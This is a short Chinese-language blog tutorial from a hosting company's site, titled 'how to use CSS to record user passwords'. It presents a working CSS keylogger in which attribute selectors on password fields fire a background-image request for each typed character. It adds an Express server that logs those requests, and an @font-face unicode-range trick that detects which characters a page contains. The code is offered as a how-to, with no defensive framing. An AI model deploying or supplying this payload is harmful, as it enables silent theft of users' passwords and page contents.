您好,登錄后才能下訂單哦!
這篇文章主要介紹“怎么使用CSS記錄用戶密碼”的相關(guān)知識(shí),小編通過實(shí)際案例向大家展示操作過程,操作方法簡(jiǎn)單快捷,實(shí)用性強(qiáng),希望這篇“怎么使用CSS記錄用戶密碼”文章能幫助大家解決問題。
直接上代碼解析:
input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); } input[type="password"][value$="1"] { background-image: url("http://localhost:3000/1"); } input[type="password"][value$="2"] { background-image: url("http://localhost:3000/2"); }
以上是部分代碼,我們來解析一下CSS代碼
input[type="password"]
是css選擇器,作用是選擇密碼輸入框, [value$="0"]
表示匹配輸入的值是以0結(jié)尾的。所以:
input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); }
上面代碼的意思就是如果你在密碼框中輸入0,就去請(qǐng)求http://localhost:3000/0接口,但是瀏覽器默認(rèn)情況下是不會(huì)將用戶輸入的值存儲(chǔ)在value屬性中,但是有的框架會(huì)同步這些值,例如React。
我們?cè)賮砜匆幌?a title="服務(wù)器" target="_blank" href="http://www.kemok4.com/">服務(wù)器端的代碼:
const express = require("express"); const app = express(); app.get("/:key", (req, res) => { process.stdout.write(req.params.key); return res.sendStatus(400); }); app.listen(3000, () => console.log("啟動(dòng),監(jiān)聽3000端口"));
使用express創(chuàng)建服務(wù)器,監(jiān)聽3000端口,只要請(qǐng)求http://localhost:3000/:key,就能輸出key的值,就能在服務(wù)器上記錄輸入的值。所以只要在每輸入一個(gè)值都匹配,然后通過 background-image 去請(qǐng)求一個(gè)已經(jīng)準(zhǔn)備好的接口,就能記錄用戶的輸入。類似的方法記錄用戶的內(nèi)容的CSS代碼@font-face {
font-family: blah; src: url('http://localhost:3000/a') format('woff'); unicode-range: U+85; } html { font-family: blah, sans-serif; }
你使用的的css的簡(jiǎn)單的字體庫,只要你的頁面中包含a,就會(huì)去請(qǐng)求http://localhost:3000/a,這樣就能知道你的頁面中包含有a字符。
關(guān)于“怎么使用CSS記錄用戶密碼”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí),可以關(guān)注億速云行業(yè)資訊頻道,小編每天都會(huì)為大家更新不同的知識(shí)點(diǎn)。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。